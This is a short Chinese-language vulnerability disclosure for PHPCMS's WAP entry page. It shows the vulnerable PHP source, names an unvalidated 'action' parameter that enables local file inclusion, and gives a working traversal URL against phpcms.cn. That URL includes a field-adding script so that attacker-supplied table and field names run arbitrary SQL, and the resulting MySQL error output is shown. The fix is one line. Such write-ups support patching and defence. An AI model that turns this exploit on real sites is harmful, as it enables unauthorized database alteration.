文件wap/index.php
<?php
include ../include/common.inc.php;
include ./include/global.func.php;
$lang = include ./include/lang.inc.php;
if(preg_match(/(mozilla|m3gate|winwap|openwave)/i, $_SERVER[HTTP_USER_AGENT]))
{
header(location:../);
}
wmlHeader($PHPCMS[sitename]);
$action = isset($action) && !empty($action) ? $action : index;
if($action)
{
include ./include/.$action..inc.php;
}
$html = CHARSET != utf-8 ? iconv(CHARSET, utf-8, $html) : $html;
echo str_replace(<br/>, "<br/>
", $html);
wmlFooter();
?>
action 变量没有判断,造成本地文件包含漏洞。
利用(其中之一):
包含目录includefieldsareaid 下任一文件,即可执行任意SQL脚本。
如:field_add.inc.php
<?php
if(!$maxlength) $maxlength = 255;
$maxlength = min($maxlength, 255);
$sql = "ALTER TABLE `$tablename` ADD `$field` VARCHAR( $maxlength ) NOT NULL DEFAULT $defaultvalue";
$db->query($sql);
?>
tablename 等变量可以直接传入。 当然,这个访问需要用Opera等浏览器访问。
用Opera浏览器访问
http://www.phpcms.cn/wap/index.php?action=../../include/fields/areaid/field_add&tablename=xx
6: </head>
7: <card id="phpcmsWml" title="Phpcms">
8: <p>
9: <div style="font-size:12px;text-align:left; border:1px solid #9cc9e0; padding:1px 4px;color:#000000;font-family:Arial, Helvetica,sans-serif;"><span><b>MySQL Query : </b>ALTER TABLE `xx` ADD `` VARCHAR( 255 ) NOT NULL DEFAULT <br /><b> MySQL Error : </b>Table phpcms.xx doesnt exist <br /> <b>MySQL Errno : </b>1146 <br /><b> Message : </b> MySQL Query Error</span></div>
修复方案:
action 变量判断